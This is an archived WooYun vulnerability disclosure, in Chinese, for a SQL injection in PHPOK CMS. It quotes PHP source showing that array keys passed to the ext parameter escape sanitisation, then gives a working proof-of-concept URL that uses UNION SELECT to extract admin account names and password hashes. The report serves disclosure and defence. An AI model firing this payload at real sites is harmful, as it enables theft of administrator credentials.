乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2014-11-12: 细节已通知厂商并且等待厂商处理中 2014-11-12: 厂商已经确认,细节仅向厂商公开 2014-11-15: 细节向第三方安全合作伙伴开放 2015-01-06: 细节向核心白帽子及相关领域专家公开 2015-01-16: 细节向普通白帽子公开 2015-01-26: 细节向实习白帽子公开 2015-02-10: 细节向公众公开
NULL
/framework/www/project_control.php
...$ext = $this->get("ext");... if($ext && is_array($ext)) { $c = ''; foreach($ext AS $key=>$value) { if($key && $value) { $c[] = "ext.".$key." LIKE '%".$value."%'"; //$key被带入SQL $pageurl .= "ext[".$key."]=".rawurlencode($value)."&"; } } if($c) $dt['sqlext'] = implode(" AND ",$c); $this->assign('ext',$ext); }
跟进get()/framework/init.php
function get($id,$type="safe",$ext="") { $val = isset($_POST[$id]) ? $_POST[$id] : (isset($_GET[$id]) ? $_GET[$id] : ""); if($val == '') return false; //判断内容是否有转义,所有未转义的数据都直接转义 $addslashes = false; if(function_exists("get_magic_quotes_gpc") && get_magic_quotes_gpc()) $addslashes = true; if(!$addslashes) $val = $this->_addslashes($val); return $this->format($val,$type,$ext); }
跟进format()
function format($msg,$type="safe",$ext="") { if($msg == "") return false; if(is_array($msg)) { foreach($msg AS $key=>$value) { $msg[$key] = $this->format($value,$type,$ext); } return $msg; } //如果返回的是html if($type == 'html_js' || ($type == 'html' && $ext)) { //去除编辑器里的绝对网址 $msg = stripslashes($msg); $array = array("src='".$this->url,'src="'.$this->url,"src=".$this->url); $new = array("src='",'src="',"src="); $msg = str_replace($array,$new,$msg); return addslashes($msg); } $msg = stripslashes($msg); //格式化处理内容 switch ($type) { case 'safe':$msg = str_replace(array("\\","'",'"',"<",">"),array("\","'",""","<",">"),$msg);break; case 'system':$msg = !preg_match("/^[a-zA-Z][a-z0-9A-Z\_\-]+$/u",$msg) ? false : $msg;break; case 'id':$msg = !preg_match("/^[a-zA-Z][a-z0-9A-Z\_\-]+$/u",$msg) ? false : $msg;break; case 'checkbox':$msg = strtolower($msg) == 'on' ? 1 : $this->format($msg,'safe');break; case 'int':$msg = intval($msg);break; case 'intval':$msg = intval($msg);break; case 'float':$msg = floatval($msg);break; case 'floatval':$msg = floatval($msg);break; case 'time':$msg = strtotime($msg);break; case 'html':$msg = $this->safe_html($msg);break; case 'func':$msg = function_exists($ext) ? $ext($msg) : false;break; } if($msg) { $msg = addslashes($msg); } return $msg; }
$msg为数组时,$key并未format()
http://localhost/phpok/index.php?c=project&id=product&ext[id%3D0%20union%20select%201%2C2%2C3%2C4%2C5%2C6%2Cconcat%28account%2C0x7c%2Cpass%29%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%2C16%2C17%2C18%2C19%2C20%2C21%2C22%2C23%2C24%2C25%2C26%2C27%2C28%20from%20qinggan_adm%23]=test
过滤
危害等级:高
漏洞Rank:15
确认时间:2014-11-12 16:01
天啊,才刚刚发布,就又要逼我更新了~~吐一下啊还有啊,都是安全过滤的Bug,才发现真心好伤心啊!难道我写的系统有那么菜吗?
暂无